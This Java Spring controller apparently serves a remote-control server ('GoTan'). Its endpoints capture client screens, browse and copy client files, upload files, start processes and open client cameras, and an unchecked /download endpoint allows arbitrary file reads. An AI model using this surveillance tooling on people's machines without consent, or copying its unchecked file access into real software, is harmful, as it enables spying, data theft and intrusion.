package cn.dqy.gotanserver.web;

import cn.dqy.gotanserver.config.ConfigClass;
import cn.dqy.gotanserver.dto.R;
import cn.dqy.gotanserver.service.CoreServer;
import cn.dqy.gotanserver.support.ClientRespondRecordUtils;
import cn.dqy.gotanserver.support.SmsSupport;
import cn.dqy.gotanserver.support.SupportHelper;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiOperation;
import org.apache.commons.io.FileUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.util.unit.DataSize;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.annotation.Resource;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.net.URLEncoder;


@Api(tags = "GoTan API 接口描述")
@Controller
public class WebContrellor {
    static Logger logger = LoggerFactory.getLogger(SupportHelper.class);

    @Autowired
    CoreServer coreServer;

    @Autowired
    SmsSupport smsSupport;

    @Autowired
    ClientRespondRecordUtils clientRespondRecordUtils;

    @Autowired
    ConfigClass configClass;


    @ApiOperation(value = "取得所有在线客户端列表")
    @ResponseBody
    @GetMapping("/getAllConnectIps")
    public R<Object> getAllConnectIps() {
        return R.build(200l, "test", coreServer.getOnlineClient());
    }

    @ApiOperation(value = "截取指定客户端屏幕内容")
    @ResponseBody
    @GetMapping("/look/{target}")
    public R<String> look(@PathVariable String target) {
        return coreServer.look(target);
    }

    @ApiOperation(value = "拷贝客户端下指定文件")
    @ResponseBody
    @GetMapping("/copyFile/{target}/{filePath}")
    public R<String> copyFile(@PathVariable String target, @PathVariable String filePath) {
        return coreServer.copyFile(target, filePath);
    }

    @ApiOperation(value = "取得客户端目录下的信息")
    @ResponseBody
    @GetMapping("/getDirInfo/{target}/{dirName}")
    public R<Object> getDirInfo(@PathVariable String target, @PathVariable String dirName) {
        return R.build(200l, "test", coreServer.getDirInfo(target, dirName));
    }

    @ApiOperation(value = "统计短信发送情况（未开通）",hidden = true)
    @ResponseBody
    @RequestMapping("/statisticsSmsData")
    public R<Object> statisticsSmsData() {
        String res = smsSupport.statisticsSmsData();
        return R.build(200l,"统计短信成功",res);
    }

    ///////////////////////////////////////////
    @ApiOperation(value = "下载文件",hidden = true)
    @RequestMapping("/download")
    public String downloadFile(HttpServletRequest request, HttpServletResponse response,String fp) {
        File file = new File(fp);
        logger.info("/download 入参 {} 准备下载文件",fp);
        try {
            String fileName = fp.substring(fp.lastIndexOf("/")+1,fp.length());
            response.setContentType("application/octet-stream");//
            response.setHeader("content-type", "application/octet-stream");

            //中文文件名乱码
            response.setHeader("Content-Disposition", "attachment;fileName=" + URLEncoder.encode(fileName,"UTF-8"));// 设置文件名
            byte[] data = FileUtils.readFileToByteArray(file);
            ServletOutputStream outputStream = response.getOutputStream();
            outputStream.write(data);
            logger.info("文件{}下载完成",fileName);
        } catch (IOException e) {
            e.printStackTrace();
            logger.error("文件下载异常",e);
        }
        return null;
    }

    @ApiOperation(value = "上传文件",hidden = true)
    @PostMapping("/upload")
    public String upload(MultipartFile uploadFile, HttpServletRequest req,String target,String str) {
        try {
            byte[] bytes = uploadFile.getBytes();
            String path=str+"\\" + uploadFile.getOriginalFilename();
            logger.info("upload",path);
            coreServer.uploadFileToClient(target,bytes,path);
        } catch (IOException e) {
            e.printStackTrace();
        }

        return "/monitor";
    }

    ///////////////////////////////

    @ApiOperation(value = "监控",hidden = true)
    @RequestMapping("/monitor")
    public String test1(Model model,
                        String target,
                        int cmd,
                        String str,
                        MultipartFile uploadFile)throws InterruptedException {
        if(cmd==1) clientRespondRecordUtils.wInfo("",false,false);
        else if(cmd==2) coreServer.look(target);
        else if(cmd==3) coreServer.getDirInfo(target,str);
        else if(cmd==4) coreServer.copyFile(target,str);
        else if(cmd==5) coreServer.startClientProcess(target,str);
        else if(cmd==6){
            try {
                if("".equals(str) || uploadFile.getBytes().length==0)
                    model.addAttribute("err","请选择文件和输入目标计算机文件系统路径！");
                else
                    coreServer.uploadFileToClient(target,uploadFile.getBytes(),str+"\\"+uploadFile.getOriginalFilename());
            } catch (IOException e) {
                logger.error("uploadFileToClient err");
                e.printStackTrace();
            }
        }else if(cmd==7){
            coreServer.openCamera(target);
            model.addAttribute("target",target);
            model.addAttribute("webSocketEndPoint",configClass.getWebSocketEndPoint());
            return "camera";
        }

        if(cmd>=2) Thread.sleep(1000);

        model.addAttribute("ips",coreServer.getOnlineClient());
        model.addAttribute("log",clientRespondRecordUtils.readGoTanLog());
        return "monitor";
    }

}
